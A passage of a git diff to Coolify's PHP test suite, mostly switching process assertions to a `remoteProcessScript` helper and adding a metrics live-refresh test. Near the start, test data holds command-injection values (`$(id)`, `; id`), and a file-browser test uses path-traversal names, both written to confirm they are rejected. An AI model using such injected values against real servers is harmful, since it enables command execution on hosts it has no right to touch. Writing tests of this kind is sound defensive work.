($process) => str_contains($process->command, 'docker logs -n 100 -t test-container') - && ! str_contains($process->command, '--since')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker logs -n 100 -t test-container') + && ! str_contains(remoteProcessScript($process), '--since')); })->with([ 'command substitution' => ['2026-09-28T10:00:02Z$(id)'], 'shell separator' => ['2026-09-28T10:00:02Z; id'], @@ -255,7 +255,7 @@ describe('GetLogs browser-rendered output', function () { ]); test('copyLogs keeps line order and omits timestamps when timestamps are hidden', function () { - Process::fake(['*' => Process::result(output: "zeta\nalpha")]); + fakeRemoteProcesses(['*' => Process::result(output: "zeta\nalpha")]); Livewire::test(GetLogs::class, [ 'server' => $this->functionalServer, @@ -266,7 +266,7 @@ describe('GetLogs browser-rendered output', function () { ->call('copyLogs') ->assertReturned("zeta\nalpha"); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker logs -n 100 test-container')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker logs -n 100 test-container')); }); test('copyLogs returns empty for unauthorized server', function () { @@ -282,7 +282,7 @@ describe('GetLogs browser-rendered output', function () { }); test('streaming does not render log lines or poll through Livewire', function () { - Process::fake(['*' => Process::result(output: '2026-09-28T10:00:01Z secret-looking line')]); + fakeRemoteProcesses(['*' => Process::result(output: '2026-09-28T10:00:01Z secret-looking line')]); Livewire::test(GetLogs::class, [ 'server' => $this->functionalServer, diff --git a/tests/Feature/GetLogsExportRedactionTest.php b/tests/Feature/GetLogsExportRedactionTest.php index dfb016efab..1e8710abba 100644 --- a/tests/Feature/GetLogsExportRedactionTest.php +++ b/tests/Feature/GetLogsExportRedactionTest.php @@ -105,9 +105,9 @@ it('redacts stored and effective database passwords in exported logs', function $database->secretManagerLink()->create(['integration_token_id' => $token->id]); } Process::fake(fn ($process) => match (true) { - str_contains($process->command, 'docker ps') => Process::result(output: json_encode(['ID' => 'abc123', 'Names' => $database->uuid, 'Labels' => '', 'State' => 'running'])), - str_contains($process->command, 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), - str_contains($process->command, 'docker logs') => Process::result(output: 'booted xy effective-database-canary'), + str_contains(remoteProcessScript($process), 'docker ps') => Process::result(output: json_encode(['ID' => 'abc123', 'Names' => $database->uuid, 'Labels' => '', 'State' => 'running'])), + str_contains(remoteProcessScript($process), 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), + str_contains(remoteProcessScript($process), 'docker logs') => Process::result(output: 'booted xy effective-database-canary'), default => Process::result(output: ''), }); @@ -151,9 +151,9 @@ it('still exports database logs when its remote secret source fails', function ( ]); $database->secretManagerLink()->create(['integration_token_id' => $token->id]); Process::fake(fn ($process) => match (true) { - str_contains($process->command, 'docker ps') => Process::result(output: json_encode(['ID' => 'abc123', 'Names' => $database->uuid, 'Labels' => '', 'State' => 'running'])), - str_contains($process->command, 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), - str_contains($process->command, 'docker logs') => Process::result(output: 'booted xy {{vault.DB_PASSWORD}}'), + str_contains(remoteProcessScript($process), 'docker ps') => Process::result(output: json_encode(['ID' => 'abc123', 'Names' => $database->uuid, 'Labels' => '', 'State' => 'running'])), + str_contains(remoteProcessScript($process), 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), + str_contains(remoteProcessScript($process), 'docker logs') => Process::result(output: 'booted xy {{vault.DB_PASSWORD}}'), default => Process::result(output: ''), }); diff --git a/tests/Feature/GetLogsMergedSourcesTest.php b/tests/Feature/GetLogsMergedSourcesTest.php index 9485b2bccc..55c16a7fe4 100644 --- a/tests/Feature/GetLogsMergedSourcesTest.php +++ b/tests/Feature/GetLogsMergedSourcesTest.php @@ -118,7 +118,7 @@ it('rejects a foreign server or an invalid container name before reading logs', it('merges container logs by timestamp and tags each line with its source', function () { Process::fake(function (PendingProcess $process) { - $command = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); if (str_contains($command, 'web-helsinki')) { return Process::result(output: "2026-09-28T10:00:02Z second\n2026-09-28T10:00:01Z first\n"); } @@ -161,7 +161,7 @@ it('merges container logs by timestamp and tags each line with its source', func it('asks each source only for lines after its own timestamp', function () { $commands = []; Process::fake(function (PendingProcess $process) use (&$commands) { - $command = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands[] = $command; return Process::result(output: "2026-09-28T10:00:03Z line\n"); diff --git a/tests/Feature/GetRollbackImagesTest.php b/tests/Feature/GetRollbackImagesTest.php index 89481424da..0a9bf1a6bc 100644 --- a/tests/Feature/GetRollbackImagesTest.php +++ b/tests/Feature/GetRollbackImagesTest.php @@ -107,7 +107,7 @@ describe('on a reachable server', function () { ]))->implode(PHP_EOL); $images = implode(PHP_EOL, ["{$uuid}#aaaaaaa#2026-10-01 10:00:00", "{$uuid}#bbbbbbb#2026-10-02 10:00:00"]); - Process::fake(fn ($process) => Process::result(output: str_contains($process->command, 'docker images') ? $images : $ps)); + Process::fake(fn ($process) => Process::result(output: str_contains(remoteProcessScript($process), 'docker images') ? $images : $ps)); } it('finds the current image of containers that are not named after the application uuid', function (string $name) { diff --git a/tests/Feature/GithubRunnerFlowTest.php b/tests/Feature/GithubRunnerFlowTest.php index 2be3ec6d50..360c2196ee 100644 --- a/tests/Feature/GithubRunnerFlowTest.php +++ b/tests/Feature/GithubRunnerFlowTest.php @@ -506,7 +506,7 @@ describe('provisioning', function () { $commands = ''; Process::assertRan(function (PendingProcess $process) use (&$commands) { - $commands .= $process->command."\n"; + $commands .= remoteProcessScript($process)."\n"; return true; }); @@ -596,7 +596,7 @@ describe('provisioning', function () { (new ProvisionGithubRunnerJob($execution->id))->handle(); expect(GithubRunnerExecution::find($execution->id))->toBeNull(); - Process::assertDidntRun(fn (PendingProcess $process) => str_contains($process->command, '/home/runner/run.sh')); + Process::assertDidntRun(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), '/home/runner/run.sh')); Queue::assertPushed(DeregisterGithubRunnerJob::class, fn ($job) => $job->githubAppId === $this->githubApp->id && $job->runnerId === 42); Queue::assertNotPushed(ProvisionGithubRunnerJob::class); }); @@ -648,7 +648,7 @@ describe('provisioning', function () { ->and($execution->server_id)->toBeNull() ->and($execution->runner_name)->toBeNull() ->and($execution->error_message)->toContain('Attempt 1 of 3 failed')->toContain('Resource not accessible by integration'); - Process::assertRan(fn (PendingProcess $process) => str_contains($process->command, "docker rm -f -v coolify-runner-{$uuid}")); + Process::assertRan(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), "docker rm -f -v coolify-runner-{$uuid}")); Queue::assertPushed(ProvisionGithubRunnerJob::class, fn ($job) => $job->executionId === $execution->id && $job->delay !== null); Queue::assertNotPushed(CleanupGithubRunnerJob::class); }); @@ -701,7 +701,7 @@ describe('provisioning', function () { expect($execution->fresh()->status)->toBe(GithubRunnerStatus::Cancelled) ->and($execution->fresh()->ready_at)->toBeNull(); - Process::assertDidntRun(fn (PendingProcess $process) => str_contains($process->command, '/home/runner/run.sh')); + Process::assertDidntRun(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), '/home/runner/run.sh')); Queue::assertPushed(CleanupGithubRunnerJob::class, fn ($job) => $job->executionId === $execution->id); }); @@ -732,12 +732,12 @@ describe('provisioning', function () { expect($execution->fresh()->status)->toBe(GithubRunnerStatus::Cancelled) ->and($execution->fresh()->ready_at)->toBeNull(); - Process::assertDidntRun(fn (PendingProcess $process) => str_contains($process->command, '/home/runner/run.sh')); + Process::assertDidntRun(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), '/home/runner/run.sh')); Queue::assertPushed(CleanupGithubRunnerJob::class, fn ($job) => $job->executionId === $execution->id); (new CleanupGithubRunnerJob($execution->id))->handle(); - Process::assertDidntRun(fn (PendingProcess $process) => str_contains($process->command, 'docker rm')); + Process::assertDidntRun(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), 'docker rm')); Http::assertNotSent(fn ($request) => $request->method() === 'DELETE'); })->with(['the transfer cancelled the execution' => true, 'the transfer commits after the last check' => false]); @@ -747,7 +747,7 @@ describe('provisioning', function () { $execution = runnerTestExecution($this->githubApp); fakeRunnerGithubApi($this->githubApp); Process::fake(['*' => function (PendingProcess $process) use ($execution, $duringStart) { - if (! $duringStart || str_contains($process->command, '/home/runner/run.sh')) { + if (! $duringStart || str_contains(remoteProcessScript($process), '/home/runner/run.sh')) { $execution->finish(GithubRunnerStatus::Cancelled); } @@ -770,7 +770,7 @@ describe('provisioning', function () { $execution = runnerTestExecution($this->githubApp); fakeRejectedJitConfig(); Process::fake(['*' => function (PendingProcess $process) use ($execution) { - if (str_contains($process->command, 'docker rm -f -v')) { + if (str_contains(remoteProcessScript($process), 'docker rm -f -v')) { $execution->finish(GithubRunnerStatus::Cancelled, 'Stopped externally'); } @@ -817,7 +817,7 @@ describe('cleanup and reconciliation', function () { (new CleanupGithubRunnerJob($execution->id))->handle(); - Process::assertRan(fn (PendingProcess $process) => str_contains($process->command, "docker rm -f -v coolify-runner-{$execution->uuid}")); + Process::assertRan(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), "docker rm -f -v coolify-runner-{$execution->uuid}")); Http::assertSent(fn ($request) => $request->method() === 'DELETE' && str_ends_with($request->url(), '/orgs/acme/actions/runners/42')); Queue::assertPushed(ProvisionGithubRunnerJob::class, fn ($job) => $job->executionId === $next->id); }); @@ -846,8 +846,8 @@ describe('cleanup and reconciliation', function () { ->and($long->fresh()->status)->toBe(GithubRunnerStatus::TimedOut) ->and($healthy->fresh()->status)->toBe(GithubRunnerStatus::Running); Queue::assertPushed(CleanupGithubRunnerJob::class, 3); - Process::assertRan(fn (PendingProcess $process) => str_contains($process->command, 'docker rm -f -v coolify-runner-orphanuuid')); - Process::assertDidntRun(fn (PendingProcess $process) => str_contains($process->command, "docker rm -f -v coolify-runner-{$healthy->uuid}")); + Process::assertRan(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), 'docker rm -f -v coolify-runner-orphanuuid')); + Process::assertDidntRun(fn (PendingProcess $process) => str_contains(remoteProcessScript($process), "docker rm -f -v coolify-runner-{$healthy->uuid}")); }); it('lets a late completed webhook replace a failure guessed from a stopped container', function () { diff --git a/tests/Feature/GithubRunnerSettingsTest.php b/tests/Feature/GithubRunnerSettingsTest.php index e06a072e8e..16fe8067df 100644 --- a/tests/Feature/GithubRunnerSettingsTest.php +++ b/tests/Feature/GithubRunnerSettingsTest.php @@ -473,7 +473,7 @@ describe('isolated Docker with Sysbox', function () { ->test(GithubRunners::class, ['server_uuid' => $this->server->uuid]) ->call('checkSysbox'); - Process::assertRan(fn ($process) => str_contains($process->command, 'test -x /usr/bin/fusermount3')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'test -x /usr/bin/fusermount3')); }); it('shows the install button when Sysbox is missing', function () { @@ -495,7 +495,7 @@ describe('isolated Docker with Sysbox', function () { ->call('installSysbox') ->assertNotDispatched('activityMonitor'); - Process::assertRanTimes(fn ($process) => str_contains($process->command, 'apt-get'), 1); + Process::assertRanTimes(fn ($process) => str_contains(remoteProcessScript($process), 'apt-get'), 1); }); it('does not let members install Sysbox', function () { diff --git a/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php b/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php index 551e0cef0f..017ddb95ed 100644 --- a/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php +++ b/tests/Feature/InstanceBackupMultipleS3DestinationsTest.php @@ -111,7 +111,7 @@ it('saves several S3 destinations for the instance backup and drops storages of it('uploads the instance backup to every selected destination', function () { $this->backup->forceFill(['save_s3' => true, 'databases_to_backup' => 'coolify'])->save(); $this->backup->syncS3Storages([$this->firstStorage->id, $this->secondStorage->id]); - Process::fake(fn ($process) => Process::result(output: str_contains(implode(' ', (array) $process->command), 'du -b') ? '128' : '')); + Process::fake(fn ($process) => Process::result(output: str_contains(implode(' ', (array) remoteProcessScript($process)), 'du -b') ? '128' : '')); $uploadedTo = collect(); $job = Mockery::mock(DatabaseBackupJob::class.'[upload_to_s3]', [$this->backup->fresh()])->shouldAllowMockingProtectedMethods(); diff --git a/tests/Feature/Livewire/FileBrowserTest.php b/tests/Feature/Livewire/FileBrowserTest.php index f9afb3bef6..2a2ce5d26a 100644 --- a/tests/Feature/Livewire/FileBrowserTest.php +++ b/tests/Feature/Livewire/FileBrowserTest.php @@ -384,7 +384,7 @@ it('rejects unsafe child names without deleting the current folder', function (s ->call('loadFiles') ->call('deleteEntry', $name) ->assertDispatched('error'); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'rm -rf')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'rm -rf')); })->with(['', '.', '..', '../data', 'a/b', 'a\\b']); it('saves the opened file and clears editor state', function () { @@ -560,8 +560,8 @@ it('lists files for a running application and excludes stopped and preview conta ])->map(fn ($container) => json_encode($container))->implode("\n"); Process::fake(function ($process) use ($containers) { $output = match (true) { - str_contains($process->command, 'docker ps') => $containers, - str_contains($process->command, 'docker inspect') => '/app', + str_contains(remoteProcessScript($process), 'docker ps') => $containers, + str_contains(remoteProcessScript($process), 'docker inspect') => '/app', default => "file\t12\t1\t644\tconfig.yml", }; @@ -622,7 +622,7 @@ it('allows retrying a failed initial container lookup', function () { ]); $fail = true; Process::fake(function ($process) use (&$fail) { - if (str_contains($process->command, 'docker ps')) { + if (str_contains(remoteProcessScript($process), 'docker ps')) { if ($fail) { $fail = false; @@ -634,7 +634,7 @@ it('allows retrying a failed initial container lookup', function () { ])); } - return Process::result(output: str_contains($process->command, 'docker inspect') ? '/app' : ''); + return Process::result(output: str_contains(remoteProcessScript($process), 'docker inspect') ? '/app' : ''); }); $this->actingAs($this->admin); session(['currentTeam' => $this->team]); diff --git a/tests/Feature/Livewire/MetricsLiveRefreshTest.php b/tests/Feature/Livewire/MetricsLiveRefreshTest.php new file mode 100644 index 0000000000..dfc766075d --- /dev/null +++ b/tests/Feature/Livewire/MetricsLiveRefreshTest.php @@ -0,0 +1,121 @@ + InstanceSettings::query()->firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); +}); + +dataset('range metrics components', [ + 'server metrics' => [fn () => [ + Livewire::test(Charts::class, ['server_uuid' => $this->server->uuid]), + 'refreshChartData-server-metrics', + ]], + 'resource metrics' => [fn () => [ + Livewire::test(ResourceMetrics::class, ['resource' => Application::factory()->create([ + 'environment_id' => Environment::factory()->create([ + 'project_id' => Project::factory()->create(['team_id' => $this->team->id])->id, + ])->id, + 'destination_id' => StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail()->id, + 'destination_type' => StandaloneDocker::class, + ])]), + 'refreshChartData-metrics-cpu', + ]], +]); + +it('refreshes short ranges live every five seconds by default', function (Closure $build) { + /** @var Testable $component */ + [$component, $event] = $build->call($this); + + $component->assertSet('live', true); + expect($component->instance()->pollSeconds())->toBe(5); + + $component->call('pollData')->assertDispatched($event); +})->with('range metrics components'); + +it('loads long ranges once and does not poll them by default', function (Closure $build) { + /** @var Testable $component */ + [$component, $event] = $build->call($this); + + $component->set('interval', 43200)->call('setInterval') + ->assertSet('live', false) + ->assertDispatched($event); + expect($component->instance()->pollSeconds())->toBeNull(); + + $component->call('pollData')->assertNotDispatched($event); +})->with('range metrics components'); + +it('refreshes a long range every minute after the user turns live refresh on', function (Closure $build) { + /** @var Testable $component */ + [$component, $event] = $build->call($this); + + $component->set('interval', 10080)->call('setInterval') + ->set('live', true) + ->assertDispatched($event); + expect($component->instance()->pollSeconds())->toBe(60); + + // A client that polls faster than the range allows gets no new data. + $component->call('pollData')->assertNotDispatched($event); + + $this->travel(61)->seconds(); + $component->call('pollData')->assertDispatched($event); +})->with('range metrics components'); + +it('turns live refresh back on when the user returns to a short range', function (Closure $build) { + /** @var Testable $component */ + [$component] = $build->call($this); + + $component->set('interval', 720)->assertSet('live', false) + ->set('interval', 30)->assertSet('live', true); + expect($component->instance()->pollSeconds())->toBe(5); +})->with('range metrics components'); + +it('does not poll fleet metrics until the user turns live refresh on', function () { + $component = loadLazy(Livewire::test(FleetMetrics::class))->assertSet('live', false); + expect($component->instance()->pollSeconds())->toBeNull(); + $component->call('pollData')->assertNotDispatched('refreshChartData-fleet-metrics'); + + $component->set('live', true)->assertDispatched('refreshChartData-fleet-metrics'); + expect($component->instance()->pollSeconds())->toBe(60); + $component->call('pollData')->assertNotDispatched('refreshChartData-fleet-metrics'); + + $this->travel(61)->seconds(); + $component->call('pollData')->assertDispatched('refreshChartData-fleet-metrics'); +}); + +it('pauses fleet live refresh when the user picks another range', function () { + loadLazy(Livewire::test(FleetMetrics::class)) + ->set('live', true) + ->call('setRange', '30d') + ->assertSet('live', false); +}); diff --git a/tests/Feature/LocalFileVolumeRelativePathTest.php b/tests/Feature/LocalFileVolumeRelativePathTest.php index a60bcddbf5..8fc83ca274 100644 --- a/tests/Feature/LocalFileVolumeRelativePathTest.php +++ b/tests/Feature/LocalFileVolumeRelativePathTest.php @@ -43,8 +43,8 @@ beforeEach(function () { $this->serviceApplication = ServiceApplication::create(['name' => 'app', 'service_id' => $this->service->id]); Process::fake(fn ($process) => Process::result(output: match (true) { - str_contains($process->command, 'readlink -f') => 'OK', - str_contains($process->command, 'test -') => 'NOK', + str_contains(remoteProcessScript($process), 'readlink -f') => 'OK', + str_contains(remoteProcessScript($process), 'test -') => 'NOK', default => '', })); }); @@ -67,15 +67,15 @@ function relativePathFileVolume(string $fsPath, bool $isDirectory, ?string $cont */ function assertNoRelativeRemotePath(): void { - Process::assertDidntRun(fn ($process) => str_contains($process->command, "'./")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), "'./")); } test('a relative directory path is created inside the resource directory, not in the home directory', function () { $workdir = $this->service->workdir(); relativePathFileVolume('./data/sub', isDirectory: true)->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '{$workdir}/data/sub'")); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '{$workdir}/data'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '{$workdir}/data/sub'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '{$workdir}/data'")); assertNoRelativeRemotePath(); }); @@ -83,8 +83,8 @@ test('a relative file path without content gets its parent directory inside the $workdir = $this->service->workdir(); relativePathFileVolume('./config/app.conf', isDirectory: false)->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '{$workdir}/config'")); - Process::assertRan(fn ($process) => str_contains($process->command, "touch '{$workdir}/config/app.conf'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '{$workdir}/config'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "touch '{$workdir}/config/app.conf'")); assertNoRelativeRemotePath(); }); @@ -92,7 +92,7 @@ test('a relative file path with content is written inside the resource directory $workdir = $this->service->workdir(); relativePathFileVolume('./config/app.conf', isDirectory: false, content: 'listen 8080;')->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "| base64 -d | tee '{$workdir}/config/app.conf' > /dev/null")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "| base64 -d | tee '{$workdir}/config/app.conf' > /dev/null")); assertNoRelativeRemotePath(); }); @@ -100,20 +100,20 @@ test('an absolute directory path keeps working unchanged', function () { $workdir = $this->service->workdir(); relativePathFileVolume($workdir.'/data', isDirectory: true)->saveStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "mkdir -p '{$workdir}/data'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "mkdir -p '{$workdir}/data'")); assertNoRelativeRemotePath(); }); test('deleting a relative path removes it from the resource directory', function () { Process::fake(fn ($process) => Process::result(output: match (true) { - str_contains($process->command, 'readlink -f') => 'OK', - str_contains($process->command, 'test -f') => 'OK', + str_contains(remoteProcessScript($process), 'readlink -f') => 'OK', + str_contains(remoteProcessScript($process), 'test -f') => 'OK', default => 'NOK', })); $workdir = $this->service->workdir(); relativePathFileVolume('./config/app.conf', isDirectory: false)->deleteStorageOnServer(); - Process::assertRan(fn ($process) => str_contains($process->command, "rm -rf '{$workdir}/config/app.conf'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "rm -rf '{$workdir}/config/app.conf'")); assertNoRelativeRemotePath(); }); diff --git a/tests/Feature/LocalhostServerDetailsTest.php b/tests/Feature/LocalhostServerDetailsTest.php index 68e2e4d9ec..ff9ae31443 100644 --- a/tests/Feature/LocalhostServerDetailsTest.php +++ b/tests/Feature/LocalhostServerDetailsTest.php @@ -182,7 +182,7 @@ it('collects localhost server details after a successful connection check', func // The connection check also runs SSH multiplexing commands, so answer by command, not by order. Process::fake(function ($process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return str_contains($command, '---PRETTY_NAME---') ? Process::result(output: localhostMetadataProcessOutput(), exitCode: 0) diff --git a/tests/Feature/LockedDomainRowsAndDockerImagesTest.php b/tests/Feature/LockedDomainRowsAndDockerImagesTest.php index cb4a072cea..1e0a8fd042 100644 --- a/tests/Feature/LockedDomainRowsAndDockerImagesTest.php +++ b/tests/Feature/LockedDomainRowsAndDockerImagesTest.php @@ -71,7 +71,7 @@ it('rejects a client update of the service domain state', function (string $prop it('rejects a client update of the docker image list', function () { $imageId = 'sha256:'.str_repeat('a', 64); - Process::fake([ + fakeRemoteProcesses([ '*docker image ls*' => Process::result(output: json_encode(['Repository' => 'nginx', 'Tag' => '1.27', 'ID' => $imageId, 'Size' => '52.5MB', 'CreatedSince' => '3 weeks ago'])), '*docker ps -a*' => Process::result(output: "{$imageId}#/web\n"), '*docker system df*' => Process::result(output: ''), diff --git a/tests/Feature/LogDrain/CloudwatchLogDrainTest.php b/tests/Feature/LogDrain/CloudwatchLogDrainTest.php index 26034973b9..bd219a5279 100644 --- a/tests/Feature/LogDrain/CloudwatchLogDrainTest.php +++ b/tests/Feature/LogDrain/CloudwatchLogDrainTest.php @@ -240,5 +240,5 @@ it('keeps the Fluent Bit drain running if CloudWatch is also enabled, matching t StartLogDrain::run($server); - Process::assertRan(fn ($process) => str_contains($process->command, 'log-drains/docker-compose.yml up -d')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'log-drains/docker-compose.yml up -d')); }); diff --git a/tests/Feature/LogDrain/LogDrainServerNameTest.php b/tests/Feature/LogDrain/LogDrainServerNameTest.php index 0993fee879..3b8fcf6c51 100644 --- a/tests/Feature/LogDrain/LogDrainServerNameTest.php +++ b/tests/Feature/LogDrain/LogDrainServerNameTest.php @@ -31,7 +31,7 @@ test('a server name with a line break cannot add a section to the fluent-bit con $commands = new Collection; Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(); }); @@ -60,7 +60,7 @@ test('a server name with spaces is written as a single fluent-bit value', functi $commands = new Collection; Process::fake(function ($process) use ($commands) { - $commands->push($process->command); + $commands->push(remoteProcessScript($process)); return Process::result(); }); diff --git a/tests/Feature/Mcp/McpLogRedactionTest.php b/tests/Feature/Mcp/McpLogRedactionTest.php index 2bf6d01c59..2d6e80b62c 100644 --- a/tests/Feature/Mcp/McpLogRedactionTest.php +++ b/tests/Feature/Mcp/McpLogRedactionTest.php @@ -84,9 +84,9 @@ function mcpLogRedactionCall(array $abilities, string $tool, array $arguments): function fakeMcpApplicationContainer(Closure $logs): void { Process::fake(fn ($process) => match (true) { - str_contains($process->command, 'docker ps') => Process::result(output: json_encode(['ID' => 'abc123', 'Names' => 'app', 'Labels' => '', 'State' => 'running'])), - str_contains($process->command, 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), - str_contains($process->command, 'docker logs') => $logs(), + str_contains(remoteProcessScript($process), 'docker ps') => Process::result(output: json_encode(['ID' => 'abc123', 'Names' => 'app', 'Labels' => '', 'State' => 'running'])), + str_contains(remoteProcessScript($process), 'docker inspect') => Process::result(output: json_encode(['State' => ['Status' => 'running']])), + str_contains(remoteProcessScript($process), 'docker logs') => $logs(), default => Process::result(output: ''), }); } diff --git a/tests/Feature/Mcp/McpServerToolsTest.php b/tests/Feature/Mcp/McpServerToolsTest.php index ee791bc3b6..8ebf036c95 100644 --- a/tests/Feature/Mcp/McpServerToolsTest.php +++ b/tests/Feature/Mcp/McpServerToolsTest.php @@ -434,7 +434,7 @@ test('manage_registry logs in on its own server without echoing the password', f expect(mcpSrvIsError($response))->toBeFalse(mcpSrvText($response)) ->and(mcpSrvText($response))->not->toContain('REGISTRY_PASSWORD_VALUE'); - Process::assertRan(fn ($process) => str_contains(is_array($process->command) ? implode(' ', $process->command) : $process->command, 'docker')); + Process::assertRan(fn ($process) => str_contains(is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process), 'docker')); }); test('manage_registry cannot touch registries on a server of another team', function (string $action, string $ability, array $extra) { diff --git a/tests/Feature/NonRootDataDirectoryCommandsTest.php b/tests/Feature/NonRootDataDirectoryCommandsTest.php index fb99fac25d..cde366c7fa 100644 --- a/tests/Feature/NonRootDataDirectoryCommandsTest.php +++ b/tests/Feature/NonRootDataDirectoryCommandsTest.php @@ -47,7 +47,7 @@ function nonRootDataDirectoryRemoteLines(): array { $lines = []; Process::assertRan(function ($process) use (&$lines) { - array_push($lines, ...explode("\n", $process->command)); + array_push($lines, ...explode("\n", remoteProcessScript($process))); return true; }); @@ -124,7 +124,7 @@ it('stages clone archives in a random mktemp directory only for a non-root SSH u }; $rootServer = Server::factory()->create(['team_id' => $this->server->team_id, 'user' => 'root', 'private_key_id' => $this->server->private_key_id]); Process::fake(fn ($process) => Process::result( - output: str_contains($process->command, 'mktemp -d') ? '/var/tmp/coolify-clone.Ab3dE6gH9k' : '', + output: str_contains(remoteProcessScript($process), 'mktemp -d') ? '/var/tmp/coolify-clone.Ab3dE6gH9k' : '', )); $nonRootDirectory = $stager->createCloneArchiveDirectory($this->server, 'volume-a'); @@ -132,7 +132,7 @@ it('stages clone archives in a random mktemp directory only for a non-root SSH u $commands = []; Process::assertRan(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return true; }); @@ -156,11 +156,11 @@ it('rejects a clone archive directory that mktemp did not create', function (str } }; Process::fake(fn ($process) => Process::result( - output: str_contains($process->command, 'mktemp -d') ? $output : '', + output: str_contains(remoteProcessScript($process), 'mktemp -d') ? $output : '', )); expect(fn () => $stager->createCloneArchiveDirectory($this->server, 'volume-a'))->toThrow(RuntimeException::class); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'chown') || str_contains($process->command, 'chmod')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'chown') || str_contains(remoteProcessScript($process), 'chmod')); })->with([ 'empty' => [''], 'predictable path' => ['/var/tmp/coolify-clone/volume-a'], diff --git a/tests/Feature/PersistentStoragePerformanceTest.php b/tests/Feature/PersistentStoragePerformanceTest.php index 33a01e7792..db0853a8bd 100644 --- a/tests/Feature/PersistentStoragePerformanceTest.php +++ b/tests/Feature/PersistentStoragePerformanceTest.php @@ -25,7 +25,7 @@ beforeEach(function () { $this->withoutVite(); config(['app.maintenance.store' => 'array', 'cache.default' => 'array']); Process::fake(fn ($process) => Process::result( - output: str_contains($process->command, 'readlink -f') ? 'OK' : '' + output: str_contains(remoteProcessScript($process), 'readlink -f') ? 'OK' : '' )); InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate( ['id' => 0], diff --git a/tests/Feature/Proxy/MaintenanceModeTest.php b/tests/Feature/Proxy/MaintenanceModeTest.php index 5a16cec8db..e0791cbc63 100644 --- a/tests/Feature/Proxy/MaintenanceModeTest.php +++ b/tests/Feature/Proxy/MaintenanceModeTest.php @@ -90,7 +90,7 @@ function maintenanceScriptLines(): array { $lines = []; Process::assertRan(function ($process) use (&$lines) { - array_push($lines, ...explode("\n", $process->command)); + array_push($lines, ...explode("\n", remoteProcessScript($process))); return true; }); diff --git a/tests/Feature/Proxy/NonRootProxyCommandsTest.php b/tests/Feature/Proxy/NonRootProxyCommandsTest.php index 71c6d906e4..67a82c78a2 100644 --- a/tests/Feature/Proxy/NonRootProxyCommandsTest.php +++ b/tests/Feature/Proxy/NonRootProxyCommandsTest.php @@ -43,7 +43,7 @@ function nonRootProxyScriptLines(): array { $lines = []; Process::assertRan(function ($process) use (&$lines) { - array_push($lines, ...explode("\n", $process->command)); + array_push($lines, ...explode("\n", remoteProcessScript($process))); return true; }); diff --git a/tests/Feature/Proxy/ProxyErrorPageTest.php b/tests/Feature/Proxy/ProxyErrorPageTest.php index 4d1f939459..a9c22a8974 100644 --- a/tests/Feature/Proxy/ProxyErrorPageTest.php +++ b/tests/Feature/Proxy/ProxyErrorPageTest.php @@ -54,7 +54,7 @@ function errorPageScriptLines(): array { $lines = []; Process::assertRan(function ($process) use (&$lines) { - array_push($lines, ...explode("\n", $process->command)); + array_push($lines, ...explode("\n", remoteProcessScript($process))); return true; }); diff --git a/tests/Feature/Proxy/ProxyLogrotateSidecarCleanupTest.php b/tests/Feature/Proxy/ProxyLogrotateSidecarCleanupTest.php index d1639e1c30..0ca2cc616b 100644 --- 